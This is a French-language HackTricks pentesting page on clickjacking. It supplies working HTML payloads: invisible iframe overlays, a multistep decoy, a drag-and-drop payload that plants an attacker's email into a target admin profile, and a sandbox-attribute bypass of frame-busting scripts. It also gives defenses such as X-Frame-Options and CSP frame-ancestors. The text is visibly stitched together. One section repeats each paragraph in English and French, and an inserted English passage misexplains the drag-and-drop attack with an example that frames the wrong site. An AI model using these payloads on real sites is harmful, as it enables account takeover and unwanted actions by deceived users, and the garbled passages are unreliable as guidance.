hacktricks/pentesting-web/clickjacking.md

# Clickjacking

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>

\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Qu'est-ce que le Clickjacking

Le Clickjacking est une attaque qui **trompe** un **utilisateur** en le faisant **cliquer** sur un **élément** d'une page web qui est **invisible** ou déguisé en un autre élément. Cela peut amener les utilisateurs à télécharger involontairement des logiciels malveillants, à visiter des pages web malveillantes, à fournir des informations d'identification ou sensibles, à transférer de l'argent ou à acheter des produits en ligne. (De [ici](https://www.imperva.com/learn/application-security/clickjacking/)).

### Astuce de préremplissage de formulaires

Il est parfois possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut exploiter ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre.

### Remplir un formulaire avec Drag\&Drop

Si vous avez besoin que l'utilisateur **remplisse un formulaire** mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'e-mail et/ou un mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de **faire glisser et déposer** quelque chose qui écrira vos données contrôlées comme dans [**cet exemple**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).

### Charge utile de base
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Charge utile à plusieurs étapes

Clickjacking can be made more effective by using a multistep payload. In this technique, the attacker divides the clickjacking attack into multiple steps, each requiring the victim to perform a specific action.

Le clickjacking peut être rendu plus efficace en utilisant une charge utile à plusieurs étapes. Dans cette technique, l'attaquant divise l'attaque de clickjacking en plusieurs étapes, chacune nécessitant que la victime effectue une action spécifique.

The first step involves tricking the victim into clicking on a seemingly harmless element on the attacker-controlled page. This could be a button, a link, or any other interactive element.

La première étape consiste à tromper la victime en cliquant sur un élément en apparence inoffensif sur la page contrôlée par l'attaquant. Il peut s'agir d'un bouton, d'un lien ou de tout autre élément interactif.

Once the victim performs this action, the attacker's payload is loaded into the victim's browser, typically through an iframe or a script injection.

Une fois que la victime effectue cette action, la charge utile de l'attaquant est chargée dans le navigateur de la victime, généralement via un iframe ou une injection de script.

The second step involves manipulating the victim into performing another action, such as clicking on a hidden button or submitting a form. This action is typically hidden from the victim's view using CSS techniques.

La deuxième étape consiste à manipuler la victime pour qu'elle effectue une autre action, comme cliquer sur un bouton caché ou soumettre un formulaire. Cette action est généralement cachée à la vue de la victime en utilisant des techniques CSS.

By dividing the clickjacking attack into multiple steps, the attacker can increase the chances of successfully tricking the victim into performing actions that they did not intend to perform.

En divisant l'attaque de clickjacking en plusieurs étapes, l'attaquant peut augmenter les chances de tromper avec succès la victime pour qu'elle effectue des actions qu'elle n'avait pas l'intention d'effectuer.
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Payload Drag\&Drop + Clic

Clickjacking is a technique that tricks users into clicking on something different from what they perceive. One way to achieve this is by combining the drag and drop functionality with a click payload.

#### How it works

1. The attacker creates a malicious webpage that contains an invisible element, such as an iframe, positioned on top of a legitimate button or link.
2. The attacker uses JavaScript to capture the user's click event on the invisible element.
3. When the user clicks on the visible button or link, the click event is actually triggered on the invisible element, executing the attacker's payload.

#### Example

```html
<!DOCTYPE html>
<html>
  <head>
    <style>
      #invisible {
        position: absolute;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        opacity: 0;
      }
    </style>
  </head>
  <body>
    <button onclick="alert('Legitimate button clicked!')">Click me</button>
    <iframe id="invisible" src="http://malicious-website.com"></iframe>
  </body>
</html>
```

In this example, the attacker creates an invisible iframe that covers the entire webpage. When the user clicks on the "Click me" button, the click event is actually triggered on the invisible iframe, executing the payload from the malicious website.

#### Mitigation

To protect against clickjacking attacks, you can implement the following measures:

- Implement X-Frame-Options header to prevent your website from being loaded within an iframe.
- Use the Content-Security-Policy header to restrict which domains can embed your website.
- Implement frame-busting JavaScript code to prevent your website from being loaded within an iframe.
- Educate users about the risks of clicking on unfamiliar or suspicious links.

By implementing these measures, you can significantly reduce the risk of clickjacking attacks.
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking

Si vous avez identifié une attaque **XSS qui nécessite que l'utilisateur clique** sur un élément pour **déclencher** l'XSS et que la page est **vulnérable au clickjacking**, vous pouvez l'exploiter pour tromper l'utilisateur en le faisant cliquer sur le bouton/lien.\
Exemple:\
_Vous avez trouvé un **self XSS** dans certains détails privés du compte (des détails que **vous seul pouvez définir et lire**). La page avec le **formulaire** pour définir ces détails est **vulnérable** au **clickjacking** et vous pouvez **pré-remplir** le **formulaire** avec les paramètres GET._\
\_\_Un attaquant pourrait préparer une attaque **clickjacking** sur cette page en **pré-remplissant** le **formulaire** avec la **charge utile XSS** et en trompant l'utilisateur pour qu'il **soumette** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, l'utilisateur exécutera l'XSS.

## Comment éviter le Clickjacking

### Défenses côté client

Il est possible d'exécuter des scripts côté client qui effectuent certains ou tous les comportements suivants pour prévenir le Clickjacking :

* vérifier et imposer que la fenêtre d'application actuelle est la fenêtre principale ou supérieure,
* rendre tous les frames visibles,
* empêcher de cliquer sur des frames invisibles,
* intercepter et signaler les attaques potentielles de clickjacking à un utilisateur.

#### Contournement

Comme les bloqueurs de frames sont en JavaScript, les paramètres de sécurité du navigateur peuvent empêcher leur fonctionnement ou même le navigateur peut ne pas prendre en charge JavaScript. Une solution de contournement efficace pour un attaquant contre les bloqueurs de frames est d'utiliser l'**attribut `sandbox` de l'iframe HTML5**. Lorsque cela est défini avec les valeurs `allow-forms` ou `allow-scripts` et que la valeur `allow-top-navigation` est omise, le script du bloqueur de frames peut être neutralisé car l'iframe ne peut pas vérifier s'il s'agit ou non de la fenêtre supérieure :
```markup
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
Les valeurs `allow-forms` et `allow-scripts` permettent d'autoriser les actions spécifiées dans l'iframe, mais la navigation de niveau supérieur est désactivée. Cela empêche les comportements de rupture de frame tout en permettant la fonctionnalité sur le site ciblé.

Selon le type d'attaque par détournement de clics, **vous devrez peut-être également autoriser** `allow-same-origin` et `allow-modals` ou [même plus](https://www.w3schools.com/tags/att\_iframe\_sandbox.asp). Lors de la préparation de l'attaque, vérifiez simplement la console du navigateur, elle peut vous indiquer les autres comportements que vous devez autoriser.

### X-Frame-Options

L'en-tête de réponse HTTP **`X-Frame-Options`** peut être utilisé pour indiquer si un navigateur doit être **autorisé** ou non à afficher une page dans une balise `<frame>` ou `<iframe>`. Les sites peuvent l'utiliser pour éviter les attaques par détournement de clics en veillant à ce que **leur contenu ne soit pas intégré dans d'autres sites**. Définissez l'en-tête **`X-Frame-Options`** pour toutes les réponses contenant du contenu HTML. Les valeurs possibles sont :

* `X-Frame-Options: deny` qui **empêche tout domaine d'encadrer le contenu** (_Valeur recommandée_)
* `X-Frame-Options: sameorigin` qui **autorise uniquement le site actuel** à encadrer le contenu.
* `X-Frame-Options: allow-from https://trusted.com` qui **autorise le 'uri' spécifié** à encadrer cette page.
* Vérifiez les limitations ci-dessous car **cela échouera si le navigateur ne le prend pas en charge**.
* D'autres navigateurs prennent en charge la nouvelle directive **CSP frame-ancestors à la place**. Quelques-uns prennent en charge les deux.

### Directive frame-ancestors de la politique de sécurité du contenu (CSP)

La protection contre le détournement de clics recommandée consiste à incorporer la directive **`frame-ancestors`** dans la politique de sécurité du contenu de l'application.\
La directive **`frame-ancestors 'none'`** a un comportement similaire à la directive **X-Frame-Options `deny`** (_Personne ne peut encadrer la page_).\
La directive **`frame-ancestors 'self'`** est largement équivalente à la directive **X-Frame-Options `sameorigin`** (_seul le site actuel peut l'encadrer_).\
La directive **`frame-ancestors trusted.com`** est largement équivalente à la directive **X-Frame-Options** `allow-from` (_seul le site de confiance peut l'encadrer_).

La CSP suivante autorise uniquement les frames du même domaine :

`Content-Security-Policy: frame-ancestors 'self';`

Consultez la documentation suivante pour plus de détails et des exemples plus complexes :

* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)

### Limitations <a href="#limitations" id="limitations"></a>

* **Prise en charge du navigateur :** Les directives CSP frame-ancestors ne sont pas encore prises en charge par tous les principaux navigateurs.
* **X-Frame-Options a la priorité :** La section "Relation avec X-Frame-Options" de la spécification CSP indique : "_Si une ressource est fournie avec une politique qui inclut une directive nommée frame-ancestors et dont la disposition est "enforce", alors l'en-tête X-Frame-Options DOIT être ignoré_", mais Chrome 40 et Firefox 35 ignorent la directive frame-ancestors et suivent plutôt l'en-tête X-Frame-Options.

## Références

* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)

<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>

\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** avec les outils communautaires les plus avancés au monde.\
Accédez-y dès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>